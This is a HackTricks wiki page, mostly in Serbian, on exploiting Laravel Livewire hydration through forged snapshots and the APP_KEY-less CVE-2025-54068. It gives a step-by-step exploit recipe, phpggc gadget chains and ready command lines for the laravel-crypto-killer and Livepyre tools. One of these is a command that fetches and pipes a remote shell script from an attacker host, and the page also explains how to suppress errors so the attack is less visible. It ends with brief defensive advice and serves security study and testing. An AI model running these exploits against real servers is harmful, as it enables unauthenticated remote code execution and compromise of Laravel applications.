Laravel Livewire Hydration & Synthesizer Abuse
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Rekapitulacija Livewire state machine
Livewire 3 komponente razmenjuju svoje stanje kroz snapshots koji sadrže data, memo i checksum. Svaki POST na /livewire/update ponovo rehidrira JSON snapshot na serverskoj strani i izvršava zakazane calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Svako ko poseduje APP_KEY (koji se koristi za generisanje $hashKey) može zato falsifikovati proizvoljne snapshots ponovnim izračunavanjem HMAC-a.
Složena svojstva su enkodirana kao synthetic tuples koje detektuje Livewire\Drawer\BaseUtils::isSyntheticTuple(); svaki tuple je [value, {"s":"<key>", ...meta}]. Jezgro hidracije jednostavno prosleđuje svaki tuple synth-u izabranom u HandleComponents::$propertySynthesizers i rekurzivno prolazi kroz children:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Ovaj rekurzivni dizajn čini Livewire generičkim mehanizmom za instanciranje objekata čim napadač preuzme kontrolu nad tuple metadata ili bilo kojim ugnježdenim tuple-om koji se obrađuje tokom rekurzije.
Synthesizeri koji obezbeđuju gadget primitiva
| Synthesizer | Ponašanje koje kontroliše napadač |
|---|---|
CollectionSynth (clctn) | Instancira new $meta['class']($value) nakon rehidracije svakog child-a. Bilo koja klasa sa konstruktorom koji prihvata array može biti kreirana, i svaki item može sam biti synthetic tuple. |
FormObjectSynth (form) | Poziva new $meta['class']($component, $path), zatim dodeljuje svako javno svojstvo iz podataka koje kontroliše napadač preko $hydrateChild. Konstruktori koji prihvataju dva slabo tipizirana parametra (ili default args) su dovoljni da se dopre do proizvoljnih javnih svojstava. |
ModelSynth (mdl) | Kada key nedostaje iz meta izvršava return new $class; što omogućava instanciranje bilo koje klase bez argumenata pod kontrolom napadača. |
Pošto synths pozivaju $hydrateChild na svakom ugnježdenom elementu, proizvoljni grafovi gadgeta mogu se konstruisati slaganjem tuple-ova rekurzivno.
Forging snapshots when APP_KEY is known
- Presretnite legitimni
/livewire/updatezahtev i dekodirajtecomponents[0].snapshot. - Injektujte ugnježdene tuple-ove koji pokazuju na gadget klase i ponovo izračunajte
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Ponovo enkodirajte snapshot, ostavite
_token/memoneizmenjenim i replay-ujte zahtev.
Minimalni dokaz izvršenja koristi Guzzle’s FnStream i Flysystem’s ShardedPrefixPublicUrlGenerator. Jedan tuple instancira FnStream sa podacima konstruktora { "__toString": "phpinfo" }, sledeći instancira ShardedPrefixPublicUrlGenerator sa [FnStreamInstance] kao $prefixes. Kada Flysystem kastuje svaki prefix u string, PHP poziva attacker-provided __toString callable, pozivajući bilo koju funkciju bez argumenata.
Od poziva funkcija do potpunog RCE
Iskorišćavajući Livewire-ove primitive za instanciranje, Synacktiv je adaptirao phpggc-ov Laravel/RCE4 chain tako da hidracija podigne objekat čije javno Queueable stanje pokreće deserializaciju:
- Queueable trait – bilo koji objekat koji koristi
Illuminate\Bus\Queueableeksponira javni$chainedi izvršavaunserialize(array_shift($this->chained))udispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) se instancira putemCollectionSynth/FormObjectSynthsa popunjenim javnim$chained. - phpggc Laravel/RCE4Adapted – serijalizovani blob koji se čuva u
$chained[0]gradiPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()na kraju pozivacall_user_func_array($closure, $args)omogućavajućisystem($cmd). - Neprimetno završavanje – dodeljivanjem drugog
FnStreamcallable-a kao što je[new Laravel\Prompts\Terminal(), 'exit'], zahtev se završava saexit()umesto bučnog izuzetka, održavajući HTTP odgovor čistim.
Automatizacija falsifikovanja snapshot-ova
synacktiv/laravel-crypto-killer sada isporučuje livewire mode koji sve to spaja:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Alat parsira uhvaćeni snapshot, ubacuje gadget tuples, ponovo izračunava checksum i ispisuje payload spreman za slanje na /livewire/update.
/## CVE-2025-54068 – RCE bez APP_KEY
updates se spajaju u stanje komponente nakon što je checksum snapshot-a validiran. Ako je osobina unutar snapshot-a (ili postane) sintetički tuple, Livewire ponovo koristi njegov meta prilikom hidriranja attacker-controlled update value:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Pronađite Livewire komponentu sa ne-tipiziranim javnim svojstvom (npr.,
public $count;). - Pošaljite ažuriranje koje postavlja to svojstvo na
[]. Sledeći snapshot ga sada čuva kao[[], {"s": "arr"}]. - Sastavite drugi
updatespayload gde to svojstvo sadrži duboko ugnježden niz koji u sebi uključuje tuple poput[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Tokom rekurzije,
hydrate()procenjuje svaki ugnježdeni element nezavisno, tako da synth ključevi/klase koje napadač izabere bivaju poštovani iako spoljašnji tuple i checksum nikada nisu promenjeni. - Ponovo iskoristite iste
CollectionSynth/FormObjectSynthprimitive da instancirate Queueable gadget čiji$chained[0]sadrži phpggc payload. Livewire obrađuje lažiraneupdates, pozivadispatchNextJobInChain()i dolazi dosystem(<cmd>)bez poznavanjaAPP_KEY.
Key reasons this works:
updatesare not covered by the snapshot checksum.getMetaForPath()trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.- Rekurzija i slaba tipizacija omogućavaju da se svaki ugnježdeni niz interpretira kao potpuno novi tuple, pa proizvoljni synth ključevi i proizvoljne klase na kraju dopru do hydration.
Livepyre – end-to-end exploitation
Livepyre automatizuje i APP_KEY-less CVE i signed-snapshot path:
- Identifikuje postavljenu verziju Livewire parsiranjem
<script src="/livewire/livewire.js?id=HASH">i mapiranjem hasha na ranjive release-ove. - Sakuplja baseline snapshots reprodukovanjem benignih akcija i izdvajajući
components[].snapshot. - Generiše ili
updates-only payload (CVE-2025-54068) ili falsifikovani snapshot (poznat APP_KEY) koji u sebi ugrađuje phpggc lanac.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check pokreće nedestruktivnu proveru, -F preskače version gating, -H i -P dodaju prilagođena zaglavlja ili proxy-je, a --function/--param prilagođava php funkciju koju poziva gadget chain.
Odbrambena razmatranja
- Ažurirajte na ispravljena Livewire izdanja (>= 3.6.4 prema objavi dobavljača) i primenite zakrpu dobavljača za CVE-2025-54068.
- Izbegavajte weakly typed public properties u Livewire komponentama; eksplicitni scalar tipi sprečavaju da vrednosti svojstava budu prisiljene u arrays/tuples.
- Registrujte samo synthesizers koji su vam zaista potrebni i tretirajte user-controlled metadata (
$meta['class']) kao nepouzdanu. - Odbijajte update-ove koji menjaju JSON type svojstva (npr. scalar -> array) osim ako to nije eksplicitno dozvoljeno, i ponovo izvodite synth metadata umesto ponovnog korišćenja zastarelih tuples.
- Rotate
APP_KEYodmah nakon bilo kakvog disclosure-a jer omogućava offline snapshot forging bez obzira koliko je code-base zakrpljen.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


